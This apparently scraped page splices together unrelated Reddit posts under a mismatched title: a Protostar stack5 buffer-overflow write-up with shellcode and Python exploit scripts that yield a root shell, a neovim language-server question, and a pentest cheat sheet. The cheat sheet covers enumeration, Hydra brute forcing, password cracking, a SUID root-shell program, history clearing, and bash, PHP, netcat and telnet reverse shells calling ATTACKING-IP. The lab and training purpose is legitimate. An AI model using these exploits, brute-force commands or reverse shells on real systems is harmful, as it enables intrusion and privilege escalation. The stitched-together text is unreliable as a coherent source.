Python Open Stdout As Binary Options

Protostar stack5 shellcode not working in the buffer (outside is ok)

Protostar Stack5 buffer overflow (32 bits shellcode)
I got a strange behaviour (strange maybe not BUT that I could not explain :-)
When I put the shellcode inside the buffer it does not work but when outside all is working fine.
It's protostart stack5 binary in it's original VM (constructed from Iso on linux 32 bits) so I would not give further info on the binary itself (stack is executable, ASLR is off, ....)
Let me explain and let's go with gdb !

Finding the buffer overflow
gdb$ disass _start Dump of assembler code for function _start: 0x08048310 <_start+0>: xor ebp,ebp 0x08048312 <_start+2>: pop esi 0x08048313 <_start+3>: mov ecx,esp 0x08048315 <_start+5>: and esp,0xfffffff0 0x08048318 <_start+8>: push eax 0x08048319 <_start+9>: push esp 0x0804831a <_start+10>: push edx 0x0804831b <_start+11>: push 0x80483e0 0x08048320 <_start+16>: push 0x80483f0 0x08048325 <_start+21>: push ecx 0x08048326 <_start+22>: push esi 0x08048327 <_start+23>: push 0x80483c4 # Real Entry point 0x0804832c <_start+28>: call 0x80482f8 <[email protected]> 0x08048331 <_start+33>: hlt 0x08048332 <_start+34>: nop 0x08048333 <_start+35>: nop (....) 
let's disass main
gdb$ disass main Dump of assembler code for function main: 0x080483c4 : push ebp # Prologue... 0x080483c5 : mov ebp,esp # ... 0x080483c7 : and esp,0xfffffff0 # ... adress alignement 0x080483ca : sub esp,0x50 # ... reserve space on stack 0x080483cd : lea eax,[esp+0x10] # adress start of buffer 0x080483d1 : mov DWORD PTR [esp],eax # put the arg on the stack 0x080483d4 : call 0x80482e8 [email protected] # call to gets (char*) 0x080483d9 : leave 0x080483da : ret End of assembler dump. 
Let's retrieve EBP adress and value:
gdb$ x/wx $ebp 0xbffff7b8: 0xbffff838 

Let's retrieve EIP address and it's value
gdb$ x/wx $ebp+0x4 0xbffff7bc: 0xb7eadc76 
Let's check EIP return adress to be sure we're fine:
gdb$ x/5i 0xb7eadc76 0xb7eadc76 <__libc_start_main+230>: mov DWORD PTR [esp],eax 0xb7eadc79 <__libc_start_main+233>: call 0xb7ec60c0 <*__GI_exit> 0xb7eadc7e <__libc_start_main+238>: xor ecx,ecx 0xb7eadc80 <__libc_start_main+240>: jmp 0xb7eadbc0 <__libc_start_main+48> 0xb7eadc85 <__libc_start_main+245>: mov eax,DWORD PTR [ebx+0x37d4] 
Good ! It's back on __libc_start_main.

Let's get the buffer (gets) start adress :
p/x $esp+0x10 $1 = 0xbffff770 

Write the most important values for our exploitation:
---Reminder------------------------------------------------------- RET EBP : 0xbffff7b8: 0xbffff838 RET EIP : 0xbffff7bc: 0xb7eadc76 buffer start adress: 0xbffff770 ----------------------------------------------------------------- 
Let's do some computation to overwrite EIP
# EIP's address - buffer's address # gdb$ p/d 0xbffff7bc - 0xbffff770 # $1 = 0x76 
We need 76 bytes then we can start to overwrite EIP ( + 4 byte for EIP )
python -c 'print "A"*72 + "BBBB" + "CCCC"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC 
A is Padding B is EBP C is EIP

Let's try our buffer overflow !
./stack5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC dmesg [50576.044013] stack5[13898]: segfault at 43434343 ip 43434343 sp bffff7e0 error 4 
EIP has been overwritten and it is working fine (43 in ASCII => 'C') !

Shellcode Exploitation
We will use a well known and working shellcode :
https://security.stackexchange.com/questions/73878/program-exiting-after-executing-int-0x80-instruction-when-running-shellcode
shellcode is 58 bytes. We will construct our payload like that:
5 (NOP) + 58 (Shellcode) + 9 (PADDING-NOP) + 4 (EBP) + 4 (EIP) = 76 + 4 EIP bytes as computed 
Important : here I put the shellcode IN the buffer
r <<< $(python -c 'print "\x90"*5 + "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*9 + "\x38\xf8\xff\xbf" + "\x70\xf7\xff\xbf"') 
\x38\xf8\xff\xbf = EBP original adress = 0xbffff838
\x70\xf7\xff\xbf = overwritten EIP= buffer start adress = 0xbffff770

In GDB break juste before the ret instruction and check esp to be sure it will jump where we want
gdb$ x/wx $esp 0xbffff7bc: 0xbffff770 
Well this good for the next eip adress ! check to see if our shellcode is always there
x/30i 0xbffff770 0xbffff770: nop 0xbffff771: nop 0xbffff772: nop 0xbffff773: nop 0xbffff774: nop 0xbffff775: add esp,0x10 0xbffff778: xor eax,eax 0xbffff77a: xor ebx,ebx 0xbffff77c: mov al,0x6 0xbffff77e: int 0x80 0xbffff780: push ebx 0xbffff781: push 0x7974742f 0xbffff786: push 0x7665642f 0xbffff78b: mov ebx,esp 0xbffff78d: xor ecx,ecx 0xbffff78f: mov cx,0x2712 0xbffff793: mov al,0x5 0xbffff795: int 0x80 0xbffff797: xor eax,eax 0xbffff799: push eax 0xbffff79a: push 0x68732f2f 0xbffff79f: push 0x6e69622f 0xbffff7a4: mov ebx,esp 0xbffff7a6: push eax 0xbffff7a7: push ebx 0xbffff7a8: mov ecx,esp 0xbffff7aa: cdq 0xbffff7ab: mov al,0xb 0xbffff7ad: int 0x80 0xbffff7af: nop 
On GDB Perfect it is working !
gdb$ c Executing new program: /bin/dash $ 
out of GDB it is NOT working anymore:
same payload than in gdb
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*9 + '\x38\xf8\xff\xbf' + '\x70\xf7\xff\xbf')";) | ./stack5 
or (overwrite EBP)
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*13 + '\x70\xf7\xff\xbf')";) | ./stack5 
The only thing I get : Illegal instruction! Here a strace if it can help ...
execve("./stack5", ["./stack5"], [/* 16 vars */]) = 0 brk(0) = 0x804a000 fcntl64(0, F_GETFD) = 0 fcntl64(1, F_GETFD) = 0 fcntl64(2, F_GETFD) = 0 access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=13796, ...}) = 0 mmap2(NULL, 13796, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdc000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320m\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1319176, ...}) = 0 mmap2(NULL, 1329480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e97000 mprotect(0xb7fd5000, 4096, PROT_NONE) = 0 mmap2(0xb7fd6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13e) = 0xb7fd6000 mmap2(0xb7fd9000, 10568, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd9000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e96000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e966c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fd6000, 8192, PROT_READ) = 0 mprotect(0xb7ffe000, 4096, PROT_READ) = 0 munmap(0xb7fdc000, 13796) = 0 fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000 read(0, "\220\220\220\220\220\203\304\0201\3001\333\260\6\315\200Sh/ttyh/dev\211\3431\311f"..., 4096) = 80 read(0, "", 4096) = 0 --- SIGILL (Illegal instruction) @ 0 (0) --- +++ killed by SIGILL +++ Illegal instruction 
Questions / Others informations
I know there could be some adress change caused by ENVs vars but I do not think that is the problem... but I have no evidence.

Just for the exemple Shellcode After EIP (outside the buffer) : everything is OK
[email protected]:/opt/protostabin$ (python -c "import sys; sys.stdout.write('\x90'*76 + '\xc0\xf7\xff\xbf' + '90'*10 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')";) | ./stack5 # whoami root 

EDIT :
I add python script exploit for reference :

Shellcode inside the buffer (not working)
import struct totalpad = 76 # Total bytes needed to start overwriting EIP NOP = "\x90" * 5 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" EIP = struct.pack("I", 0xbffff770) nbpad = totalpad - len(NOP) - len(shellcode) PAD = 'A' * nbpad print NOP + shellcode + PAD + EIP 
Shellcode outside the buffer (working good)
import struct NOP1 = "\x90" * 76 EIP = struct.pack("I", 0xbffff7c0) NOP2 = "\x90" * 10 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" print NOP1 + EIP + NOP2 + shellcode 
EDIT : shellcode inside the buffer is now working :-)
When executing outside gdb and attaching to the process I see that the start of the buffer is located at another memory adress.
So instead of hardcoding EIP start of buffer I use a register to jump to.
Hopefully there is one that hold the good adress: eax
Here is the working exploit of Shellcode inside the buffer:
import struct totalpad = 76 # Total bytes needed to start overwriting EIP # Little NOP Slide NOP = "\x90" * 2 # Shellcode maintaing / reopening stdin (for gets exploitation) shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # Buffer start adress is 0xbfff770 but to hardcode adress is unreliable # EIP = struct.pack("I", 0xbffff770) # We will use a register to jump on the start of the buffer # We know debugging the program that eax contain the adress we want # We look with objdump -D stack5 -M intel | grep call | grep eax # 80483bf: ff d0 call eax # 804846b: ff d0 call eax # We have to adress that will call eax so that can trigger our exploit ! # EIP will call the adress that will "call eax" EIP = struct.pack("I", 0x80483bf) # We let EBP option either to rewrite trash or to use its original adress EBP = struct.pack("I", 0xbfff7b8) #EBP = "BBBB" nbpad = totalpad - len(NOP) - len(shellcode) - len(EBP) PAD = 'A' * nbpad # our payload print NOP + shellcode + PAD + EBP + EIP 
Usage :
$ python /home/usepython_exploits/stack5_inside_buffer.py | /opt/protostabin/stack5 # whoami root 
Stéphane
submitted by tequilaweb81 to LiveOverflow [link] [comments]

How to setup Microsoft's python lsp in linux/ubuntu?

So, I'm a little lost on where to ask this question so I thought I'd start here first.
The thing I'm trying to do is setup a lsp for python, specifically "Microsoft/python-language-server" because "palantipython-language-server" was acting sluggish.
Here are the things I've done so far:
  1. I have vim-plug and I installed this language client. https://github.com/autozimu/LanguageClient-neovim
  2. I needed to install a language server now so I installed .net core first (I followed this link) and then built this language server. https://github.com/Microsoft/python-language-server After building, it gave me "output" directory with the built binaries as I had expected. I also ran it standalone to check if it works by doing dotnet exec /output/bin/Release/Microsoft.Python.LanguageServer.dll and it seemed to run albeit there was nothing in stdout but it didn't exit or anything. Just ran like a server listening to calls.
Okay, everything looks fine so far. I start my vim and my config for "autozimu/LanguageClient-neovim" is
let g:LanguageClient_autoStart = 1 " Ignore the "" I didn't wanted to include the whole path of the binary let g:LanguageClient_serverCommands = { \ 'python': ['dotnet', 'exec', '/output/bin/Release/Microsoft.Python.LanguageServer.dll'], \ } 
I opened any python file (I'm checking my process list as I do this) and just as I expected, it did start the language-server. Okay this was going good so far as I was thinking in my head when on the next step on which I tried calling the goto definition for say the following piece of python code
def helloworld(): print("Hello World") helloworld() 
Under the helloworld() I called with ":call LanguageClient_textDocument_definition()" but it threw this error at me (ignore the that's the long path to the directory)
[LC] Error: Failure { jsonrpc: Some(V2), error: Error { code: ServerError(-32000), message: "Object reference not set to an instance of an object.", data: Some(String(" at Microsoft.Python.LanguageServer.Implem entation.Server.GetAnalysisAsync(Uri uri, CancellationToken cancellationToken) in /src/LanguageServeImpl/Implementation/Server.Documents.cs:line 77\ n at Microsoft.Python.LanguageServer.Implementation.Server.GotoDefinition(TextDocumentPositionParams params, CancellationToken cancellationToken) in /src/LanguageServeImpl/Implementation/Server.Editor.cs:line 72\n at Microsoft.Python.LanguageServer.Implementation.LanguageServer.GotoDefinition(JToken token, CancellationToken cancellationToken) in /src/LanguageServeImpl/LanguageServer.cs:line 261")) }, id: Num(2) } 
From the error code it looks like it's expecting some kind of object/map so I thought it was expecting a config of some sort. I did a quick google and found this "settings.json" and went ahead and replaced with my values and placed it in "~/.local/share/nvim/settings.json" with the following:
{ "enabled": true, "initializationOptions": { "displayOptions": { "preferredFormat": "plaintext", "trimDocumentationLines": true, "maxDocumentationLineLength": 0, "trimDocumentationText": true, "maxDocumentationTextLength": 0 }, "interpreter": { "properties": { "InterpreterPath": "/usbin/python3", "UseDefaultDatabase": true, "Version": "3.6" } } } } 
But that was no dice either. So, if anyone has successfully got the microsoft's lsp running then I'd be very much grateful for any kind of hint.
submitted by shriek to neovim [link] [comments]

noob friendly notes part 2

Recon and Enumeration

nmap -v -sS -A -T4 target - Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p--A -T4 target - As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target - As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X - Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover

SMB enumeration

ls /usshare/nmap/scripts/* | grep ftp - Search nmap scripts for keywords
nbtscan 192.168.1.0/24 - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

nbtscan

nbtscan -v - Displays the nbtscan version
nbtscan -f target(s) - This shows the full NBT resource record responses for each machine scanned, not a one line summary, use this options when scanning a single host
nbtscan -O file-name.txt target(s) - Sends output to a file
nbtscan -H - Generate an HTTP header
nbtscan -P - Generate Perl hashref output, which can be loaded into an existing program for easier processing, much easier than parsing text output
nbtscan -V - Enable verbose mode
nbtscan -n - Turns off this inverse name lookup, for hanging resolution
nbtscan -p PORT target(s) - This allows specification of a UDP port number to be used as the source in sending a query
nbtscan -m - Include the MAC (aka "Ethernet") addresses in the response, which is already implied by the -f option.

Other Host Discovery

netdiscover -r 192.168.1.0/24 - Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site

SMB Enumeration

nbtscan 192.168.1.0/24 - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Python Local Web Server

python -m SimpleHTTPServer 80 - Run a basic http server, great for serving up shells etc

Mounting File Shares

mount 192.168.1.1:/vol/share /mnt/nfs - Mount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs - Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \win-server\share password /user:domain\janedoe /savecred /p:no - Mount a Windows share on Windows from the command line
apt-get install smb4k -y - Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Basic Finger Printing

nc -v 192.168.1.1 25 - telnet 192.168.1.1 25 - Basic versioning / finger printing via displayed banner

SNMP Enumeration

nmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1 | grep hrSWRunName | cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts

DNS Zone Transfers

nslookup -> set type=any -> ls -d blah.com - Windows DNS zone transfer
dig axfr blah.com @ns1.blah.com - Linux DNS zone transfer

DNSRecon

dnsrecon -d TARGET -D /usshare/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration

nikto -h 192.168.1.1 - Perform a nikto scan against target
dirbuster - Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

tcpdump tcp port 80 -w output.pcap -i eth0 - tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

python /usshare/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX - Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt - RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 |cut -d” “ -f4 - Enmerate users from SNMP
python /usshare/doc/python-impacket-doc/examples/ samrdump.py SNMP 192.168.X.XXX - Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep) - Search for SNMP servers with nmap, grepable output

Passwords

/usshare/wordlists - Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

hydra -l USERNAME -P /usshare/wordlistsnmap.lst -f 192.168.X.XXX ftp -V - Hydra FTP brute force

Hydra POP3 Brute Force

hydra -l USERNAME -P /usshare/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V - Hydra POP3 brute force

Hydra SMTP Brute Force

hydra -P /usshare/wordlistsnmap.lst 192.168.X.XXX smtp -V - Hydra SMTP brute force

Password Cracking

John The Ripper - JTR
john --wordlist=/usshare/wordlists/rockyou.txt hashes - JTR password cracking
john --format=descrypt --wordlist /usshare/wordlists/rockyou.txt hash.txt - JTR forced descrypt cracking with wordlist
john --format=descrypt hash --show - JTR forced descrypt brute force cracking

Exploit Research

searchsploit windows 2003 | grep -i local - Search exploit-db for exploit, in this example windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3 - Use google to search exploit-db.com for exploits
grep -R "W7" /usshare/metasploit-framework /modules/exploit/windows/* - Search metasploit modules using grep - msf search sucks a bit

Linux Penetration Testing Commands

Linux Network Commands

netstat -tulpn - Show Linux network ports with process ID's (PIDs)
watch ss -stplu - Watch TCP, UDP open ports in real time with socket summary.
lsof -i - Show established connections.
macchanger -m MACADDR INTR - Change MAC address on KALI Linux.
ifconfig eth0 192.168.2.1/24 - Set IP address in Linux.
ifconfig eth0:1 192.168.2.3/24 - Add IP address to existing network interface in Linux.
ifconfig eth0 hw ether MACADDR - Change MAC address in Linux using ifconfig.
ifconfig eth0 mtu 1500 - Change MTU size Linux using ifconfig, change 1500 to your desired MTU.
dig -x 192.168.1.1 - Dig reverse lookup on an IP address.
host 192.168.1.1 - Reverse lookup on an IP address, in case dig is not installed.
dig @192.168.2.2 domain.com -t AXFR - Perform a DNS zone transfer using dig.
host -l domain.com nameserver - Perform a DNS zone transfer using host.
nbtstat -A x.x.x.x - Get hostname for IP address.
ip addr add 192.168.2.22/24 dev eth0 - Adds a hidden IP address to Linux, does not show up when performing an ifconfig.
tcpkill -9 host google.com - Blocks access to google.com from the host machine.
echo "1" > /proc/sys/net/ipv4/ip_forward - Enables IP forwarding, turns Linux box into a router - handy for routing traffic through a box.
echo "8.8.8.8" > /etc/resolv.conf - Use Google DNS.

System Information Commands

Useful for local enumeration.

whoami - Shows currently logged in user on Linux.
id - Shows currently logged in user and groups for the user.
last - Shows last logged in users.
mount - Show mounted drives.
df -h - Shows disk usage in human readable output.
echo "user:passwd" | chpasswd - Reset password in one line.
getent passwd - List users on Linux.
strings /uslocal/bin/blah - Shows contents of none text files, e.g. whats in a binary.
uname -ar - Shows running kernel version.
PATH=$PATH:/my/new-path - Add a new PATH, handy for local FS manipulation.
history - Show bash history, commands the user has entered previously.

Redhat / CentOS / RPM Based Distros

cat /etc/redhat-release - Shows Redhat / CentOS version number.
rpm -qa - List all installed RPM's on an RPM based Linux distro.
rpm -q --changelog openvpn - Check installed RPM is patched against CVE, grep the output for CVE.

YUM Commands

Package manager used by RPM based systems, you can pull #some usefull information about installed packages and #or install additional tools.

yum update - Update all RPM packages with YUM, also shows whats out of date.
yum update httpd - Update individual packages, in this example HTTPD (Apache).
yum install package - Install a package using YUM.
yum --exclude=package kernel* update - Exclude a package from being updates with YUM.
yum remove package - Remove package with YUM.
yum erase package - Remove package with YUM.
yum list package - Lists info about yum package.
yum provides httpd - What a packages does, e.g Apache HTTPD Server.
yum info httpd - Shows package info, architecture, version etc.
yum localinstall blah.rpm - Use YUM to install local RPM, settles deps from repo.
yum deplist package - Shows deps for a package.
yum list installed | more - List all installed packages.
yum grouplist | more - Show all YUM groups.
yum groupinstall 'Development Tools' - Install YUM group.

Debian / Ubuntu / .deb Based Distros

cat /etc/debian_version - Shows Debian version number.
cat /etc/*-release - Shows Ubuntu version number.
dpkg -l - List all installed packages on Debian / .deb based Linux distro. Linux User Management
useradd new-user - Creates a new Linux user.
passwd username - Reset Linux user password, enter just passwd if you are root.
deluser username - Remove a Linux user.

Linux Decompression Commands

How to extract various archives (tar, zip, gzip, bzip2 #etc) on Linux and some other tricks for searching #inside of archives etc.

unzip archive.zip - Extracts zip file on Linux.
zipgrep *.txt archive.zip - Search inside a .zip archive.
tar xf archive.tar - Extract tar file Linux.
tar xvzf archive.tar.gz - Extract a tar.gz file Linux.
tar xjf archive.tar.bz2 - Extract a tar.bz2 file Linux.
tar ztvf file.tar.gz | grep blah - Search inside a tar.gz file.
gzip -d archive.gz - Extract a gzip file Linux.
zcat archive.gz - Read a gz file Linux without decompressing.
zless archive.gz - Same function as the less command for .gz archives.
zgrep 'blah' /valog/maillog*.gz - Search inside .gz archives on Linux, search inside of compressed log files.
vim file.txt.gz - Use vim to read .txt.gz files (my personal favorite).
upx -9 -o output.exe input.exe - UPX compress .exe file Linux.

Linux Compression Commands

zip -r file.zip /di* - Creates a .zip file on Linux.
tar cf archive.tar files - Creates a tar file on Linux.
tar czf archive.tar.gz files - Creates a tar.gz file on Linux.
tar cjf archive.tar.bz2 files - Creates a tar.bz2 file on Linux.
gzip file - Creates a file.gz file on Linux.

Linux File Commands

df -h blah - Display size of file / dir Linux.
diff file1 file2 - Compare / Show differences between two files on Linux.
md5sum file - Generate MD5SUM Linux.
md5sum -c blah.iso.md5 - Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir.
file blah - Find out the type of file on Linux, also displays if file is 32 or 64 bit.
dos2unix - Convert Windows line endings to Unix / Linux.
base64 < input-file > output-file - Base64 encodes input file and outputs a Base64 encoded file called output-file.
base64 -d < input-file > output-file - Base64 decodes input file and outputs a Base64 decoded file called output-file.
touch -r ref-file new-file - Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file.
rm -rf - Remove files and directories without prompting for confirmation.

Samba Commands

Connect to a Samba share from Linux.

$ smbmount //serveshare /mnt/win -o user=username,password=password1 $ smbclient -U user \\server\share $ mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share

Breaking Out of Limited Shells

Credit to G0tmi1k for these (or wherever he stole them from!).

The Python trick:

python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i

Misc Commands

init 6 - Reboot Linux from the command line.
gcc -o output.c input.c - Compile C code.
gcc -m32 -o output.c input.c - Cross compile C code, compile 32 bit binary on 64 bit Linux.
unset HISTORYFILE - Disable bash history logging.
rdesktop X.X.X.X - Connect to RDP server from Linux.
kill -9 $$ - Kill current session.
chown user:group blah - Change owner of file or dir.
chown -R user:group blah - Change owner of file or dir and all underlying files / dirs - recersive chown.
chmod 600 file - Change file / dir permissions, see Linux File System Permissons for details.
Clear bash history - $ ssh [email protected] | cat /dev/null > ~/.bash_history

Linux File System Permissions

777 rwxrwxrwx No restriction, global WRX any user can do anything.
755 rwxr-xr-x Owner has full access, others can read and execute the file.
700 rwx------ Owner has full access, no one else has access.
666 rw-rw-rw- All users can read and write but not execute.
644 rw-r--r-- Owner can read and write, everyone else can read.
600 rw------- Owner can read and write, everyone else has no access.

Linux File System

/ - also know as "slash" or the root.
/bin - Common programs, shared by the system, the system administrator and the users.
/boot - Boot files, boot loader (grub), kernels, vmlinuz
/dev - Contains references to system devices, files with special properties.
/etc - Important system config files.
/home - Home directories for system users.
/lib - Library files, includes files for all kinds of programs needed by the system and the users.
/lost+found - Files that were saved during failures are here.
/mnt - Standard mount point for external file systems.
/media - Mount point for external file systems (on some distros).
/net - Standard mount point for entire remote file systems - nfs.
/opt - Typically contains extra and third party software.
/proc - A virtual file system containing information about system resources.
/root - root users home dir.
/sbin - Programs for use by the system and the system administrator.
/tmp - Temporary space for use by the system, cleaned upon reboot.
/usr -Programs, libraries, documentation etc. for all user-related programs.
/var - Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc.

Linux Interesting Files / Dir’s

Places that are worth a look if you are attempting to #privilege escalate / perform post exploitation.

Directory Description

/etc/passwd - Contains local Linux users.
/etc/shadow - Contains local account password hashes.
/etc/group - Contains local account groups.
/etc/init.d/ - Contains service init script - worth a look to see whats installed.
/etc/hostname - System hostname.
/etc/network/interfaces - Network interfaces.
/etc/resolv.conf - System DNS servers.
/etc/profile - System environment variables.
~/.ssh/ - SSH keys.
~/.bash_history - Users bash history log.
/valog/ - Linux system log files are typically stored here.
/vaadm/ - UNIX system log files are typically stored here.
/valog/apache2/access.log & /valog/httpd/access.log - Apache access log file typical path.
/etc/fstab - File system mounts.

Compiling Exploits

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.
process.h, string.h, winbase.h, windows.h, winsock2.h - Windows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h - Linux exploit code

Build Exploit GCC

gcc -o exploit exploit.c - Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

gcc -m32 exploit.c -o exploit - Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe - Compile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell #as a superuser, you can update the UID / GID and shell #as required.

below are some quick copy and pate examples for #various #shells:

SUID C Shell for /bin/bash

int main(void){ setresuid(0, 0, 0); system("/bin/bash"); }

SUID C Shell for /bin/sh

int main(void){ setresuid(0, 0, 0); system("/bin/sh"); }

Building the SUID Shell binary

gcc -o suid suid.c
gcc -m32 -o suid suid.c - for 32bit

Setup Listening Netcat

Your remote shell will need a listening netcat instance #in order to connect back.

Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall #rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the #following:

[email protected]:~# nc -nvlp 80 nc: listening on :: 80 ... nc: listening on 0.0.0.0 80 ...

NAT requires a port forward

If you're attacking machine is behing a NAT router, #you'll need to setup a port forward to the attacking #machines IP / Port.

ATTACKING-IP is the machine running your listening #netcat session, port 80 is used in all examples below #(for reasons mentioned above).

Bash Reverse Shells

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done

or:

while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

PHP Reverse Shell

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)
Netcat Reverse Shell
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

